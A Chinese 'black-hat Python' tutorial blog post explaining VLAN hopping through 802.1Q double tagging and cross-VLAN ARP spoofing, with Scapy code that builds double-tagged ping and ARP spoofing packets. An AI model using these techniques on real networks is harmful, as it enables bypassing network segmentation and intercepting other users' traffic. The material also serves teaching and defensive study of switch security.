Python黑帽编程 3.4 跨越VLAN详解


Posted in Python onSeptember 28, 2016

VLAN(Virtual Local Area Network),是基于以太网交互技术构建的虚拟网络,既可以将同一物理网络划分成多个VALN,也可以跨越物理网络障碍,将不同子网中的用户划到同一个VLAN中。图2是一个VLAN划分的例子。

Python黑帽编程 3.4 跨越VLAN详解

图2

实现VLAN的方式有很多种,基于交换设备的VLAN划分,一般有两种:

l 基于交换机的端口划分

l 基于IEEE 802.1q协议,扩展以太网帧格式

基于第二层的VLAN技术,有个Trunking的概念,Trunking是用来在不同的交换机之间进行连接,以保证在跨越多个交换机上建立的同一个VLAN的成员能够相互通讯。其中交换机之间互联用的端口就称为Trunk端口。除了80.2.1q之外,思科有自己的Trunk协议叫ISL。

Python黑帽编程 3.4 跨越VLAN详解

图3

图3是802.1q的数据包,和普通的以太网帧并没有本质的区别,只是增加一个了VLAN Tag。红色部分的VLAN Identifier标识了一个数据包属于哪个VLAN,从而保证了数据广播的范围不会跨越VLAN。

现在做简单的思考,想要跨越VLAN通信,是不是只要修改数据包中的标识符就可以了呢?

3.4.1 VLAN Hopping

基于上面的分析,我们考虑一个简单的场景:跨VLANping,从Vlan1的一个主机发送一个ping请求到Vlan2中的一个主机。

在具体编码前,我们还是要先解决VLAN数据包构造的问题,在Scapy中我们使用Dot1Q类来构造图3中的Tag部分。如图4。

Python黑帽编程 3.4 跨越VLAN详解

图4

下面我们可以编写一个跨VLAN的ping请求了。

#!/usr/bin/python 
from scapy.all import * 
packet = Ether(dst="c0:d3:de:ad:be:ef") / \
Dot1Q(vlan=1) / \
Dot1Q(vlan=2) / \
IP(dst="192.168.13.3") / \
ICMP() 
sendp(packet)

上面的代码我们指定了目标主机的MAC和IP地址,添加了两个VLAN标识,第一个是发送数据的主机所在的VLAN,第二个是目标主机所在的VLAN。交换机会移除第一个标识,读到第二个标识的时候,会转发该数据包到目标主机。

3.4.2 跨VLAN的ARP欺骗

3.1、3.2和3.3节我们都在讨论ARP欺骗的问题,由于VLAN限制了广播域,我们之前的代码是无法跨VLAN进行ARP欺骗的。不过要解决这个问题也很简单,只需在我们之前构造的ARP欺骗数据中插入VLAN标识即可。下面这段代码是我们在3.1节构造ARP请求数据包的代码。

def build_req():
if options.target is None:
pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], pdst=args[0])
elif options.target:
target_mac = getmacbyip(options.target)
if target_mac is None:
print "[-] Error: Could not resolve targets MAC address"
sys.exit(1)
pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)
return pkt

在构造数据包的部分,我们插入VLAN标识:

pkt = Ether(src=mac, dst=target_mac) /Dot1Q(vlan=our_vlan) / Dot1Q(vlan=target_vlan) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)

这样就可以实现跨VLAN的ARP欺骗了。

3.4.3 小结

本节主要讲了如何构造欺骗VLAN的数据包,达到跨VLAN数据通信和ARP欺骗的目的。需要注意的是,本文的方法主要针对802.1Q协议,对以端口进行物理隔离的的VLAN没有效果。

以上所述是小编给大家介绍的Python黑帽编程 3.4 跨越VLAN详解,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对三水点靠木网站的支持!

Python 相关文章推荐
python笔记(2)
Oct 24 Python
python下paramiko模块实现ssh连接登录Linux服务器
Jun 03 Python
Python使用Django实现博客系统完整版
Sep 29 Python
朴素贝叶斯分类算法原理与Python实现与使用方法案例
Jun 26 Python
Python中的集合介绍
Jan 28 Python
Mac在python3环境下安装virtualwrapper遇到的问题及解决方法
Jul 09 Python
Django 通过JS实现ajax过程详解
Jul 30 Python
Python多线程及其基本使用方法实例分析
Oct 29 Python
py-charm延长试用期限实例
Dec 22 Python
解决使用python print打印函数返回值多一个None的问题
Apr 09 Python
如何用python处理excel表格
Jun 09 Python
python 删除系统中的文件(按时间,大小,扩展名)
Nov 19 Python
python 采集中文乱码问题的完美解决方法
Sep 27 #Python
20招让你的Python飞起来!
Sep 27 #Python
python搭建虚拟环境的步骤详解
Sep 27 #Python
利用python发送和接收邮件
Sep 27 #Python
实现python版本的按任意键继续/退出
Sep 26 #Python
Linux 下 Python 实现按任意键退出的实现方法
Sep 25 #Python
利用Python为iOS10生成图标和截屏
Sep 24 #Python
You might like
php替换超长文本中的特殊字符的函数代码
2012/05/22 PHP
完美解决PHP中的Cannot modify header information 问题
2013/08/12 PHP
详解PHP中strlen和mb_strlen函数的区别
2014/03/07 PHP
PHP实现数组递归转义的方法
2014/08/28 PHP
WordPress用户登录框密码的隐藏与部分显示技巧
2015/12/31 PHP
Laravel框架中Blade模板的用法示例
2017/08/30 PHP
修复IE9&safari 的sort方法
2011/10/21 Javascript
通过JS获取用户本地图片路径并显示的代码
2012/02/16 Javascript
JS实现下拉框的动态添加(附效果)
2013/04/03 Javascript
原生js仿jq判断当前浏览器是否为ie,精确到ie6~8
2014/08/30 Javascript
js模仿java的Map集合详解
2016/01/06 Javascript
浅谈JavaScript对象的创建方式
2016/06/13 Javascript
玩转NODE.JS(四)-搭建简单的聊天室的代码
2016/11/11 Javascript
Vue实现简单计算器案例
2020/02/25 Javascript
Ubuntu+python将nii图像保存成png格式
2019/07/18 Python
设置jupyter中DataFrame的显示限制方式
2020/04/12 Python
详解Python3.8+PyQt5+pyqt5-tools+Pycharm配置详细教程
2020/11/02 Python
Python 多进程、多线程效率对比
2020/11/19 Python
Biblibili视频投稿接口分析并以Python实现自动投稿功能
2021/02/05 Python
CSS 说明横向进度条最后显示文字的实现代码
2020/11/10 HTML / CSS
Canvas多边形绘制的实现方法
2019/08/05 HTML / CSS
印度首个本地在线平台:nearbuy
2019/03/28 全球购物
工商管理毕业生推荐信
2013/12/24 职场文书
网上快餐厅创业计划书
2014/02/01 职场文书
简历上的自我评价
2014/02/03 职场文书
酒鬼酒广告词
2014/03/21 职场文书
抵押贷款承诺书
2014/05/30 职场文书
电子信息工程专业自荐书
2014/06/24 职场文书
党员检讨书范文
2014/12/27 职场文书
复兴之路展览观后感
2015/06/02 职场文书
教师节祝酒词
2015/08/11 职场文书
浅谈JS和Nodejs中的事件驱动
2021/05/05 NodeJs
Vue Element UI自定义描述列表组件
2021/05/18 Vue.js
python中sqllite插入numpy数组到数据库的实现方法
2021/06/21 Python
MYSQL 的10大经典优化案例场景实战
2021/09/14 MySQL
浅析Python中的随机采样和概率分布
2021/12/06 Python